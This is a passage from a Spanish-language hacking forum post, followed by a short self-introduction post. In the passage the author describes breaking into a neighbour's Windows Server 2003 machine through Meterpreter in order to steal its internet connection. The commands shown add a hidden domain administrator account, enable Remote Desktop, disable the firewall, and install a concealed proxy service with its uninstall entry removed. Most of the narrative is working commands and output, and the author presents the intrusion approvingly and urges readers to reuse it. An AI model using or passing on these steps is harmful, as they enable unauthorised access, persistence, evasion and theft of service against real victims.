...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > screenshot


Vaya las cosas se hicieron mucho mas facil cuando vi en su escritorio un icono de coneccion a Internet que decia: "Acceso directo - ETECSA" y vi que tenia dos iconos de red conectada en la bandeja del sistema. Pero bueno necesitaba estar mas seguro asi que ejecute un shell y...:

Código: php

meterpreter > shell
Process 3500 created.
Channel 1 created.
Microsoft Windows [Versi�n 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32> ipconfig /all
...
Adaptador PPP ETECSA:

   Sufijo conexi�n espec�fica DNS:
   Descripci�n . . . . . . . . . : WAN (PPP/SLIP) Interface
   Direcci�n f�sica. . . . . . . : 02-45-21-12-00-00
   DHCP habilitado . . . . . . . : No
   Direcci�n IP. . . . . . . . . : xxx.xx.xxx.xxx
   M�scara de subred . . . . . . : 255.255.255.255
   Puerta de enlace predet.. . . : 0.0.0.0
   Servidores DNS. . . . . . . . : xxx.xx.xxx.x
                                   xxx.xx.xxx.x

C:\WINDOWS\system32> exit

meterpreter >


Ya sabia que era un server y que estaba conectado a internet a traves de un modem, asi que yo podia aprovechar eso y robarme, o sea tomar prestado, ese internet, en fin lo que por derecho creo que me pertenece. Asi que lo que hice fue sencillo, le instale un servidor proxy para salir a traves de el. Buscando en un DVD de programas me encontre con el ProxyPlus, un server proxy muy sencillo, solo para 3 usuarios, se administra completamente via web y se instala como un servicio en Windows, tampoco sale en menu inicio, pero para instalarlo es mediante interfaz grafica, que  podia hacer, pues no tenia otra opcion. Pues me cree un usuario con privilegios de administracion y habilite RDP (Escritorio Remoto). Si, el hash del Administrador tambien lo obtuve y descifre su password pero no podia iniciar session con el mismo usuario que el asi que tenia que crearme mi propio usuario, menos mal que Windows Server 2003 permite dos sessiones simultaneas de Escritorio Remoto. Asi que procedi:

Código: php
meterpreter > shell
Process 4148 created.
Channel 2 created.
Microsoft Windows [Versi�n 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>net user
net user

Cuentas de usuario de \\

-------------------------------------------------------------------------------
Administrador       SUPPORT_893434f6         
       
C:\WINDOWS\system32> net user Administrator toor /add
net user Administrator toor /add
Se ha completado el comando correctamente.

C:\WINDOWS\system32> net group
net group

Cuentas de grupo de \\

-------------------------------------------------------------------------------
*Administradores de esquema
*Administradores de organizaci�n
*Admins. del dominio
*Controladores de dominio
*DnsUpdateProxy
*Equipos del dominio
*Invitados del dominio
*Propietarios del creador de directivas de grupo
*servermail
*usermail
*Usuarios del dominio

C:\WINDOWS\system32> net group "Administradores de esquema" Administrator /add
Se ha completado el comando correctamente.

C:\WINDOWS\system32> net group "Admins. del dominio" Administrator /add
Se ha completado el comando correctamente.

C:\WINDOWS\system32> reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
C:\WINDOWS\system32> reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
C:\WINDOWS\system32> Netsh firewall set opmode disable
C:\WINDOWS\system32> exit

meterpreter >


...y en otro terminal:

Código: php
root@bt:~# rdesktop -f 192.168.100.1


...y ahi estaba en su escritorio. Luego de logearme con mi nuevo usuario debia ocultar la carpeta que crea el mismo en C:\Documents and Settings\Administrator, y asi lo hice:

Código: php
meterpreter > shell
Process 3500 created.
Channel 1 created.
Microsoft Windows [Versi�n 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\Documents and Settings> attrib +H +S Administrator
attrib +H +S Administrator

C:\Documents and Settings>


...luego procedi a instalar el proxyplus. Inicie mi servidor FTP (pure-ftpd) donde tenia el instalador y lo descarge desde la maquina de la victima a la carpeta C:\WINDOWS\TEMP por si acaso se me olvidava borrarlo que se borrara automaticamente al reiniciar el sistema. Elegi como carpteta de instalacion C:\WINDOWS\System32\ProxyPlus y de igual manera le asigne atributos de Hide y System:

Código: php
C:\WINDOWS\system32\ProxyPlus> attrib +H +S ProxyPlus
attrib +H +S ProxyPlus

C:\WINDOWS\system32\ProxyPlus>


...pero me faltaba algo mas, debia asegurarme de que no apareciera en Agragar/Quitar Programas del Panel de Control. Sencillo, bastaba con modificar la clave
HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\Proxy+ y donde decia "DisplayName" borrar el valor.

Solo quedaba iniciar el servicio:
Desde meterpreter:

Código: php
meterpreter > run service_manager -S -n ProxyPlus


A veces lo iniciaba desde MS-DOS:

Código: php
C:\WINDOWS\system32> net start ProxyPlus


Perfecto ya no me faltaba nada. Solo entrar por via web al servidor por el puerto 4400 (Puerto de administracion del ProxyPlus) y configurarlo correctamente.

y cuando escribi en mi navegador: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que emocion ver que estaba en internet, sin
ninguna restriccion y sin tener que pagar nada, todo con una Wi-Fi y mi antenita casera.

Por supuesto esta de mas decir que cada vez que me desconectaba detenia el servicio para que no saliera en los procesos:
Desde meterpreter:

Código: php
meterpreter > run service_manager -K -n ProxyPlus


Código: php
C:\WINDOWS\system32> net stop ProxyPlus


De esta forma estuve un tiempo conectado desde Cuba, desde mi propia casa, luego quitaron el router y contra eso no pude hacer nada jaja. Ahora tengo internet ya que me encuentro en otro pais cumpliendo una mision, aqui las redes inhalambricas abundan y es facil conectarse a cualquiera, aunque este protegida con clave.
Bueno aunque esto fue hace ya un tiempo, aun asi las tecnicas y los comandos no han cambiando, de Backtrack R3 a Kali no hay diferencia en esto, y ademas hay varios principios que se exponen aqui que les seran muy utiles.

(Este tema lo publique inicialmente en otro foro hace ya cierto tiempo, pero me parecio bien compartirlos con ustedes para que se beneficien directamente de el)

Saludos
#14
Presentaciones y cumpleaños / [B3N] Me presento
Junio 20, 2015, 08:55:44 PM
Un saludo para todos. Me impresiona ver el gran trabajo que ha hecho la comunidad de underc0de, como ha crecido desde hace varios a~os que no la visito, me acuerdo que no eran tantos usuarios,  yo nunca me hice un usuario aqui, yo comenze por Hackxcrack, aqui solo entraba y leia algunas cosas, pero wow me he quedado impresionado al ver el cambio, FELICIDADES a todos. Bueno aqui estoy, tal vez escriba aqui algunos temas que he escrito en otros sitios, para que la comundidad de underc0de se beneficie directamente de ellos, y bueno lo nuevo ya vendra tambien a medida que el tiempo me lo permita.

Un saludo a todos